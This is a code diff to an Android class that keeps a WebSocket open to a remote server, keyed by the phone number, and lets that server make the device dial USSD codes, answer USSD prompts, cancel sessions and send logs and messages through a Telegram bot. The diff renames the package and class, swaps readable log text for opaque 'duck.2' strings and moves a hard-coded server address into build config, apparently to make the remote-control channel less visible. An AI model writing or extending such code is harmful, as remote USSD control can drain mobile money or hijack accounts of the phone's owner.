|
@@ -1,6 +1,6 @@
|
|
|
-package com.car.frpc_android.util;
|
|
|
+package com.app.duck.util;
|
|
|
|
|
|
-import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
|
|
|
+import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
|
|
|
|
|
|
import android.content.Intent;
|
|
|
import android.os.Handler;
|
|
@@ -8,13 +8,14 @@ import android.util.Log;
|
|
|
|
|
|
import com.alibaba.fastjson.JSON;
|
|
|
import com.alibaba.fastjson.JSONObject;
|
|
|
+import com.app.duck.BuildConfig;
|
|
|
+import com.app.duck.Config;
|
|
|
+import com.app.duck.R;
|
|
|
import com.blankj.utilcode.util.GsonUtils;
|
|
|
import com.blankj.utilcode.util.StringUtils;
|
|
|
import com.blankj.utilcode.util.ThreadUtils;
|
|
|
import com.blankj.utilcode.util.ToastUtils;
|
|
|
import com.blankj.utilcode.util.Utils;
|
|
|
-import com.car.frpc_android.Config;
|
|
|
-import com.car.frpc_android.R;
|
|
|
import com.elvishew.xlog.XLog;
|
|
|
import com.jeremyliao.liveeventbus.LiveEventBus;
|
|
|
import com.romellfudi.ussdlibrary.OverlayShowingService;
|
|
@@ -38,7 +39,7 @@ import okhttp3.WebSocketListener;
|
|
|
* created on: 2023/10/16 23:38
|
|
|
* description:
|
|
|
*/
|
|
|
-public final class WebSocketManager {
|
|
|
+public final class WsManager {
|
|
|
private static WebSocketListener webSocketListener;
|
|
|
private static USSDApi ussdApi = USSDController.getInstance(Utils.getApp());
|
|
|
private static WebSocket webSocket;
|
|
@@ -56,42 +57,36 @@ public final class WebSocketManager {
|
|
|
@Override
|
|
|
public void onOpen(WebSocket webSocket, Response response) {
|
|
|
super.onOpen(webSocket, response);
|
|
|
- Log.i(Config.LOG_TAG, "WebSocket open. url = " + webSocket.request().url());
|
|
|
- XLog.i("WebSocket open. url = " + webSocket.request().url());
|
|
|
- LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket open.");
|
|
|
+ Log.i(Config.LOG_TAG, "duck.2 open.");
|
|
|
+ XLog.i("duck.2 open.");
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 open.");
|
|
|
}
|
|
|
|
|
|
@Override
|
|
|
public void onMessage(WebSocket webSocket, String text) {
|
|
|
super.onMessage(webSocket, text);
|
|
|
- Log.i(Config.LOG_TAG, "WebSocket get a Message: " + text);
|
|
|
- XLog.i("WebSocket get a Message: " + text);
|
|
|
- LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket message.");
|
|
|
- //收到消息
|
|
|
JSONObject json = JSON.parseObject(text);
|
|
|
String command = json.getString("command");
|
|
|
String requestId = json.getString("request_id");
|
|
|
String ussdCode = json.getString("value");
|
|
|
switch (command) {
|
|
|
- //发起ussd拨号
|
|
|
case "invoke":
|
|
|
ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
|
|
|
break;
|
|
|
- //发送ussd信息
|
|
|
+ case "invoke2":
|
|
|
+ ThreadUtils.runOnUiThread(() -> callOverlay2(ussdCode, requestId));
|
|
|
+ break;
|
|
|
case "send":
|
|
|
ThreadUtils.runOnUiThread(() -> sendUssd(requestId, ussdCode));
|
|
|
break;
|
|
|
- //撤销ussd拨号
|
|
|
case "cancel":
|
|
|
ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
|
|
|
break;
|
|
|
- //上传设备日志
|
|
|
case "log":
|
|
|
- ThreadUtils.runOnUiThread(() -> new TelegramBotExample("", false));
|
|
|
+ ThreadUtils.runOnUiThread(() -> new TgBot("", false));
|
|
|
break;
|
|
|
- //设备发送消息
|
|
|
case "message":
|
|
|
- ThreadUtils.runOnUiThread(() -> new TelegramBotExample(ussdCode, true));
|
|
|
+ ThreadUtils.runOnUiThread(() -> new TgBot(ussdCode, true));
|
|
|
break;
|
|
|
case "config":
|
|
|
HxUtils.checkForUpdateBotConfig();
|
|
@@ -108,18 +103,18 @@ public final class WebSocketManager {
|
|
|
public void onClosing(WebSocket webSocket, int code, String reason) {
|
|
|
super.onClosing(webSocket, code, reason);
|
|
|
webSocket.close(code, reason);
|
|
|
- Log.i(Config.LOG_TAG, "WebSocket closing.");
|
|
|
- XLog.i("WebSocket closing.");
|
|
|
- LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closing.[" + reason + "]");
|
|
|
+ Log.i(Config.LOG_TAG, "duck.2 closing.");
|
|
|
+ XLog.i("duck.2 closing.");
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 closing.[" + reason + "]");
|
|
|
}
|
|
|
|
|
|
@Override
|
|
|
public void onClosed(WebSocket webSocket, int code, String reason) {
|
|
|
super.onClosed(webSocket, code, reason);
|
|
|
reconnectWebSocket();
|
|
|
- Log.i(Config.LOG_TAG, "WebSocket closed. code = " + code + ",reason = " + reason);
|
|
|
- XLog.i("WebSocket closed. code = " + code + ",reason = " + reason);
|
|
|
- LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closed.[" + reason + "]");
|
|
|
+ Log.i(Config.LOG_TAG, "duck.2 closed. code = " + code + ",reason = " + reason);
|
|
|
+ XLog.i("duck.2 closed. code = " + code + ",reason = " + reason);
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 closed.[" + reason + "]");
|
|
|
|
|
|
}
|
|
|
|
|
@@ -127,20 +122,19 @@ public final class WebSocketManager {
|
|
|
public void onFailure(WebSocket webSocket, Throwable t, Response response) {
|
|
|
super.onFailure(webSocket, t, response);
|
|
|
reconnectWebSocket();
|
|
|
- Log.e(Config.LOG_TAG, "WebSocket failure.", t);
|
|
|
- XLog.e("WebSocket failure.", t);
|
|
|
- LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket failure.[" + t.getMessage() + "]");
|
|
|
+ Log.e(Config.LOG_TAG, "duck.2 failure.", t);
|
|
|
+ XLog.e("duck.2 failure.", t);
|
|
|
+ LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 failure.[" + t.getMessage() + "]");
|
|
|
}
|
|
|
};
|
|
|
executorServiceUi.execute(() -> {
|
|
|
try {
|
|
|
OkHttpClient client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
|
|
|
- String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";
|
|
|
- Request request = new Request.Builder().url(Url).build();
|
|
|
+ Request request = new Request.Builder().url(BuildConfig.WEB_URL + HxUtils.getPhone() + "/").build();
|
|
|
webSocket = client.newWebSocket(request, webSocketListener);
|
|
|
} catch (Exception e) {
|
|
|
- Log.e(Config.LOG_TAG, "WebSocket error.", e);
|
|
|
- XLog.e("WebSocket error.", e);
|
|
|
+ Log.e(Config.LOG_TAG, "duck.2 error.", e);
|
|
|
+ XLog.e("duck.2 error.", e);
|
|
|
}
|
|
|
}
|
|
|
);
|
|
@@ -156,7 +150,7 @@ public final class WebSocketManager {
|
|
|
}
|
|
|
|
|
|
private static void callOverlay(String ussd, String request_id) {
|
|
|
- if (USSDController.verifyOverLay(Utils.getApp())) {
|
|
|
+ try {
|
|
|
if (null != svc) {
|
|
|
Utils.getApp().stopService(svc);
|
|
|
}
|
|
@@ -176,8 +170,30 @@ public final class WebSocketManager {
|
|
|
Utils.getApp().stopService(svc);
|
|
|
}
|
|
|
});
|
|
|
- } else {
|
|
|
- sendWebSocketMsg(request_id, "exception", "!USSDController.verifyOverLay");
|
|
|
+ } catch (Exception e) {
|
|
|
+ XLog.e("error,ussd!", e);
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ private static void callOverlay2(String ussd, String request_id) {
|
|
|
+ try {
|
|
|
+ ussdApi.callUSSDInvoke(ussd, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
|
|
|
+ @Override
|
|
|
+ public void responseInvoke(String message) {
|
|
|
+ sendWebSocketMsg(request_id, "response", message);
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void over(String message) {
|
|
|
+ sendWebSocketMsg(request_id, "over", message);
|
|
|
+ }
|
|
|
+ });
|
|
|
+ } catch (Exception e) {
|
|
|
+ XLog.e("error,ussd!", e);
|
|
|
+ sendWebSocketMsg(request_id, "exception", e.getMessage());
|
|
|
}
|
|
|
|
|
|
|
|
@@ -235,11 +251,11 @@ public final class WebSocketManager {
|
|
|
executorServiceUi.execute(() -> {
|
|
|
try {
|
|
|
if (webSocket != null) {
|
|
|
- webSocket.close(NORMAL_CLOSURE_STATUS, "WebSocket,Goodbye!");
|
|
|
+ webSocket.close(NORMAL_CLOSURE_STATUS, "duck.2,Goodbye!");
|
|
|
}
|
|
|
} catch (Exception e) {
|
|
|
- Log.e(Config.LOG_TAG, "Close webSocket error.", e);
|
|
|
- XLog.e("Close webSocket error.", e);
|
|
|
+ Log.e(Config.LOG_TAG, "Close duck.2 error.", e);
|
|
|
+ XLog.e("Close duck.2 error.", e);
|
|
|
}
|
|
|
}
|
|
|
);
|